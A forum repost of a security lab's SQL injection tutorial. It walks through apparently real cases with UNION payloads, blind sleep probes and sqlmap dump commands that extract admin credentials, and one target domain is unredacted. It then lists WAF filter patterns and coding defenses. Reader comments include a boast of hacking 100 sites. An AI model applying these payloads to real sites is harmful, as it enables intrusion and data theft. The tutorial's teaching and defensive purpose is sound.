【安全课堂】SQL注入攻击介绍

作者简介：千里目安全实验室，隶属某公司北京安全研究部。拥有专业核心白帽子团队和开发团队，致力于网络安全攻防技术的研究和积累，依靠创新理念引领工作，在攻与防的对立统一中寻求技术突破。

扫码关注，获取千里目安全实验室最新安全技术研究

漏洞原理                                                                           

    SQL注入攻击（SQL Injection），简称注入攻击。SQL注入，是发生在应用程序的数据库层上的安全漏洞，被广泛用于非法获取网站控制权。在Web应用程序开发过程中，开发者忽略了对外部输入数据的检查过滤，含有SQL字符串的数据进入存在漏洞的系统后，这些SQL字符串数据会被数据库认为是正常的SQL语句 代码而执行，从而导致Web应用程序数据库服务器受到攻击。可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

实例展示                                                                          

    Web应用程序中用户可输入外部数据的地方有：URL地址栏、登陆界面、留言板、搜索框等。Web应用程序受到攻击后轻则数据遭到泄露，重则服务器被拿下。

实例1：通过URL地址栏进行SQL注入

1、攻击者可通过网站扫描工具或者手动查询轻松找到以下注入点。http://xxx/show.asp?newid=140

2、注入点探测

    使用扫描工具得到SQL注入点时，首先要做的就是确定注入点的真实性，最常见的探测方法有单引号探测和逻辑探测

    逻辑探测：逻辑探测根据外部构造的永真、永假SQL探测语句对服务器发送请求，根据返回发相应页面差异SQL语句是否被执行。

    这里使用的逻辑1=1/1=2探测，原URL可初步判定后台数据库查询语句为

    Select * from tables where newid=140

    构造逻辑探测语句

    Select * from tables where newid=140 and 1=2#（条件恒为假，理论上无内容返回或显示错误信息）

    Select * from tables where newid=140 and 1=1#（理论上应该返回和原请求一样的页面）

    访问：http://xxx/show.asp?newid=140 and 1=2#

访问：http://terweb.cn/xly/81/show.asp?newid=140 and 1=1#

通过两次逻辑语句探测返回的不同页面可以明确判断，该页面的newid参数存在SQL注入漏洞。

3、判断当前数据库字段数，使用order by 语句

  Order by 语句介绍

  SQL> select  *  from  test_tab  order  by  1

  表示按照第1列字段内容降序排列（默认降序）

  SQL> select  *  from  test_tab  order  by  2

  SQL> select  *  from  test_tab  order  by  3

  ......

  SQL> select  *  from  test_tab  order  by  n

  所以ORDER  BY  n项必须是数据表中列/字段（column）的数目  

  以上看来:1表示第一列，n表示第列   依此类推  

  当表中只有3个列字段时，ORDER  BY  4就会出错

  所以构造以下SQL语句：Select * from tables where newid=140 order by n#

  当n=12时，返回正常页面

访问http://xxx/show.asp?newid=140 order by 12#

当n=13时，返回页面如下

访问http://xxx/show.asp?newid=140 order by 13#

由此可判断当前数据表列数为12。

4、猜测敏感数据表名，使用联合查询（union select）猜测敏感数据表名

   UNION语句介绍

   UNION用于把来自许多SELECT语句的结果组合到一个结果集合中。对于每个由 UNION连接的SELECT语句应具有相同的列，每列对应位置应具有相同类型

在实际的SQL注入过程中，UNION常用来提取数据，在不知道具体列名称和类型的情况下，可以使用数字代替（数字默认被转换为相应列的类型），因此可以构造如下类似语句：

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12 from tables(当tables表名猜测正确时，页面返回有效信息)

使用常用表名进行探测，常用用户表有，admin，user，users，manager，customer，orders，manage_user，groups，person，student，members等

Tables为user时，访问：http://xxx/show.asp?newid=140 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from user# 得到页面为空，初步判定表名猜测错误。

当tables为manage_user时，访问：http://xxx/show.asp?newid=140 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from manage_user# 页面回显内容，初步判断Manage_user表名猜测正确。并且页面显示字段为第2栏和第10栏。

5、猜测字段名，利用页面回显，曝出敏感字段内容。使用用户表常用字段名猜解，例如：name，username，customer_name，id，sid，password，passwd等，当猜测字段username和password时，页面回显内容，访问：http://xxx/show.asp?newid=140 and 1=2 union select 1,username,3,4,5,6,7,8,9,password,11,12 from Manage_user#

这里成功得到管理员用户名和密码：admin/4....c68

6、利用web目录爬取工具获取网站后台地址

http://xxx/xlyadmin/Shop_Login.htm

成功进入后台

实例2：登录框注入

1、http://xxx/index.php?m=Index&a=login，用户名字段存在SQL注入，

  初步判定后台SQL语句为：Select * from tables where username=’admin’

  使用单引号探测：Select * from tables where username=’admin’’(理论上会出现错误页面)

点击登录后显示错误信息

错误信息不仅显示了了后台具体的数据库查询语句和数据表名称（pigcms_users），还泄露文件的物理路径。

2、通过SQL注入工具sqlmap注入得到敏感数据

密码md5值没有解密成功。

实例3：盲注案例

1、http://xxx.php?id=230&x=306 经探测，该页面的id参数存在SQL盲注漏洞。盲注是指在无法从HTTP请求返回的响应中直接提取到想要数据的情况下，依靠推断技术来提取数据库中的关键数据。推断技术主要是基于响应时间、页面错误、页面内容或者它们的组合。正常页面如下所示：

2、单引号探测，访问：http://xxx.php?id=230’&x=306 ,相应页面如下，返回错误页面，得不到任何有用信息

3、逻辑探测，and/or 1=1,1=2,相应页面均与原页面相同，得不到任何有用信息，依然无法判断是否存在漏洞。

4、基于时间的盲注探测（sleep）

Sleep语句介绍：

数据库中执行sleep(N)可以让此语句运行N秒钟，例如：mysql> sleep(10)；客户端的响应时间将延迟10秒。借助于sleep(N)这个函数可以在数据库服务器中捕获到执行迅速不易被查看到的语句以确定我们的程序是否确实在Server端发起了该语句。

构造sleep语句判断页面响应时间，使用两个不同的浏览器分别访问以下两个请求：

正常访问：http://xxx.php?id=230&x=306

探测访问：http://xxx.php?id=230 and sleep(20) &x=306

具体时间可能有误差，但是响应延迟可以明显察觉到，为了更加确定该注入点，可以分别取N=10,20,30,40等进行试验。

最终根据响应延迟时间判断参数id存在基于时间响应的SQL盲注漏洞，盲注漏洞手动注入难度较大，一般借助于工具（sqlmap）完成。

5、sqlmap使用介绍，以本案例为注入对象。

第一步，在Python环境下完成sqlmap的安装后，输入命令：

sqlmap.py -u “http://xxx.php?id=230&x=306” -p id --dbs

-u 指代有漏洞的url，-p指代存在漏洞的具体参数，--dbs表示注入数据库命令

结果如下：

第二步，在第一步注入得到网站数据库共有两个，其中information_schema是mysql数据库中特有的系统表，不用理会。我们重点关注的是用户自定义创建的数据库“a05....2640”

继续输入命令：

sqlmap.py -u “http://xxx.php?id=230&x=306” -p id -D a05....2640 --tables  

其中-D用来指定目标数据库，--tables显示指定库中的所有数据表，得到结果如下

第三步，上一步得到指定数据库中共56个数据表，根据经验猜测，用户的敏感信息（管理员用户名密码）应该放在倒数第三个zwf_admin表中。继续输入命令：

sqlmap.py -u “http://xxx.php?id=230&x=306” -p id -D a05....2640 -T xxx_admin --columns

其中-T用来指定目标数据表，--columns显示库和表中的所有字段名，得到结果如下

第四步，得到字段名称后，很明显发现xxx_name和xxx_pass就是我们想要的字段，成功近在咫尺，输入命令：

sqlmap.py -u “http://xxx.php?id=230&x=306” -p id -D a05....2640 -T xxx_admin -C xxx_admin,xxx_pass --dump

其中-C 用来指定目标字段，--dump显示指定库，表，字段的内容，结果如下，得到三个管理员账户。

6、找到后台地址，使用管理员身份登录

后台地址：http://xxx/admin/admin_login.php

登陆成功

漏洞危害                                                                        

1、工具危害

    以上真实案例可以看出，网站在没有任何防御的情况下，攻击者可以使用任意扫描工具对网站进行扫描和探测，漏洞和敏感路径非常容易被暴露。攻击者获取SQL注入漏洞后可读取数据库的完整内容，获取管理员的用户名和密码。并可能上传webshell导致完全控制服务器主机。

2、错误信息（实例2）

    在SQL注入漏洞利用过程中，错误回显页面（实例2），为攻击者提供了敏感信息，能够使接下来的攻击达到事半功倍的效果，例如本例中的错误页面可直接得到存放用户名密码的数据表名称，为攻击者省去了在所有数据库和表中搜索管理员信息的时间。同样的物理路径暴露，可初步判断网站搭建在windows环境下，网站内容全部放在D:\www\pigcms目录下。在最后还看到该网站使用的框架为PigCms3.1，可寻找该框架已有漏洞继续对该网站进行攻击。

3、后台泄露

    通过SQL注入得到网站管理员账户后，必然要寻找后台入口，如果网站后台没有防护，直接暴露在互联网中，攻击者获取到后台地址后就可以利用账号密码登陆。另外有些网站后台登录页面设计较简单（实例1），无任何验证机制。这种情况下，一旦后台暴露，攻击者可使用暴力破解方式对网站进行攻击。

4、密码明文存储（实例3）

    关于密码明文存储问题（实例3），现有的加密技术虽然不能达到绝对安全，但是对于攻击者来说，只要破解内容不是纯数字或默认的弱密码，绝对能够增大攻击难度，耗费大量时间。对比实例2和实例3，最终都拿到了管理员用户名和密码，但是由于破解密码过于繁琐，如果放弃破解，对网站将不会造成太大伤害。反观实例3，使用明文存储密码，攻击者得到数据后直接攻陷后台，造成的危害可想而知。

5、终极危害

    在SQL注入中我们通常专注于寻找管理账户，如果最终得到的管理员权限较低时，注入得到的其他数据库同样具有价值，可以利用sqlmap对数据库进行拖库（下载数据库到本地），网站数据库中所有内容将遭到泄露。
通过以上几个例子，尤其是实例2和实例3，最终都取得了管理员权限，在截图中可清楚看到管理员拥有网站页面发布和修改、会员管理和审核等高级权限。攻击者取得管理员权限后，可以对所有会员任意增删改查，发布虚假公告，篡改网页内容，对网站进行挂暗链、挂马和钓鱼操作。并可能上传webshell完全控制服务器主机。
对于实例2这样拥有大量会员的网站，我们可以看到会员信息包含了真实姓名，身份证号，住址，联系方式甚至照片，这些信息遭到泄露，不仅对网站本身造成损失，同样令会员的隐私暴露在危险中。

解决方案                                                                   

                  

1、各种扫描工具和注入工具的防御

NGAF特有的WAF策略能够有效防御各种漏洞扫描工具和注入工具对网站进行探测。

2、SQL注入防御

针对SQL语句探测和注入，WAF策略中能够匹配拦截各类SQL探测语句，例如：'and 1=1--，Order by 10--，'UNION SELECT password FROM tblUsers WHERE username='admin'--，sleep(n)等，

以及这些语句的各种变形：'uNiOn SeLeCt password FrOm tblUsers WhErE username='admin'--，

'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/tblUsers/**/WHE/**/RE/**/username/**/LIKE/**/'admin'--

3、敏感目录保护机制

后台地址的查找往往依靠web目录爬取得到，使用NGAF的WAF策略不仅可以有效的防御目录爬取工具的攻击，并且对敏感路径（例如/admin，/manage等）起到保护功能

4、错误信息屏蔽

SQL注入错误信息回显会暴露数据库相关内容或网站路径，开启NGAF  WAF策略可匹配多种错误回显信息，并拦截响应页面，使攻击者得不到任何有价值的线索。

5、基于代码层的防护

提高网站开发人员安全意识，在代码层面的防护，建议做到以下几点：

① 永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单引号和双引号进行转换等。

② 永远不要使用动态拼装SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

③ 永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。

④ 不要把机密信息明文存放，请加密或者hash掉密码和敏感的信息。

⑤ 应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装，把异常信息存放在独立的表中。

感谢楼主的分享，对SQL注入攻击有了更多的了解~

最近老看到千里目安全实验室，原来是北研安全部成立的，果然是公司安全领域的翘楚，以前一直不太明白SQL注入，看了你们文章后豁然开朗，一天下来黑了100个网站。
听说你们部门有很多黑客，是真的吗，我对网络安全特别感兴趣，能转去你们部门吗

求助大神解答下，啊

现在的社区真好，解决了很多问题

看的手痒痒了。另外也希望楼主某公司web目录的爬取工具，:好棒:

楼主分享的案例很实用，具有典型性，希望有更多这样的干货供我们学习参考，非常感谢！

这么好的帖子竟然埋没尘埃，那就怪不得我要挖坟了。